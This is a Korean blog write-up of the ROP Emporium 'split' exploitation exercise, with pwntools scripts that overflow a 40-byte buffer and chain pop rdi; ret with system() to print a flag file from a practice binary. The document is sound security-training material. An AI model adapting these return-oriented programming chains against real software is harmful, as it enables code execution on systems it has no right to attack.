혜랑's STORY

[ROP Emporium] split 문제 풀이 본문

2021 SISS 21기 활동/1학기 시스템

[ROP Emporium] split 문제 풀이

hyerang0125 2021. 6. 27. 13:41

1. checksec

64 bit 파일이고, NX가 걸려있다.

2. IDA

main() 함수

pwn() 함수

IDA에서 함수 목록을 확인해 본 결과 사용되지 않은 함수인 usefulFunction() 함수가 존재한다는 것을 알 수 있었다.

따라서 코드의 흐름을 usefulFunction()이 실행될 수 있도록 변경하면 목록을 확인할 수 있을 것 같다.

code

from pwn import *

context.log_level = 'debug'
r = process('./split')
e = ELF('./split')

usefulFunction = e.symbols['usefulFunction']
print('usefulFunction : ' + str(hex(usefulFunction)))

payload = "A"*40
payload += p64(usefulFunction)

r.send(payload)

r.interactive()

 

역시 해당 목록을 출력하고 있는 것을 볼 수 있다. 그럼 system()의 인자로 "/bin/cat flag.txt"를 넘겨준다면 flag.txt를 출력할 수 있을 것 같다.

3. Exploit

payload = ret까지의 거리 + pop rdi; ret; + "bin/cat flag.txt" + system의 주소

GDB

[Break Point]

  • pwnme+0 : pwnme() 함수의 시작 부분
  • pwnme+72 : read() 함수의 호출

즉, 40개 이상의 문자를 입력하면 RET이 변조된다.

"/bin/cat flag.txt"

데이터 영역을 확인해 본 결과 /bin/cat flag.txt가 있는 것을 확인할 수 있었다.

pop rdi; ret;

Exploit Code

from pwn import *

#context.log_level = 'debug'
r = process('./split')
e = ELF('./split')

pop_rdi_ret = 0x4007c3
cat_flag = 0x601060

read_got = e.got['read']
read_plt = e.plt['read']
print('read@got : ' + str(hex(read_got)))
print('read@plt : ' + str(hex(read_plt)))

usefulFunction = e.symbols['usefulFunction']
system = e.symbols['system']
print('usefulFunction : ' + str(hex(usefulFunction)))
print('system : ' + str(hex(system)))

payload = "A"*40
payload += p64(pop_rdi_ret)
payload += p64(cat_flag)
payload += p64(system)

r.send(payload)

r.interactive()

 

결과

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[HackCTF] rop 문제 풀이  (0) 2021.06.16
깃 허브에 올린 과제  (0) 2021.06.16
[Hack CTF] RTL_World  (0) 2021.05.14
[HackCTF] x64 Buffer Overflow  (0) 2021.04.09
[HackCTF] Basic_BOF #1  (0) 2021.04.09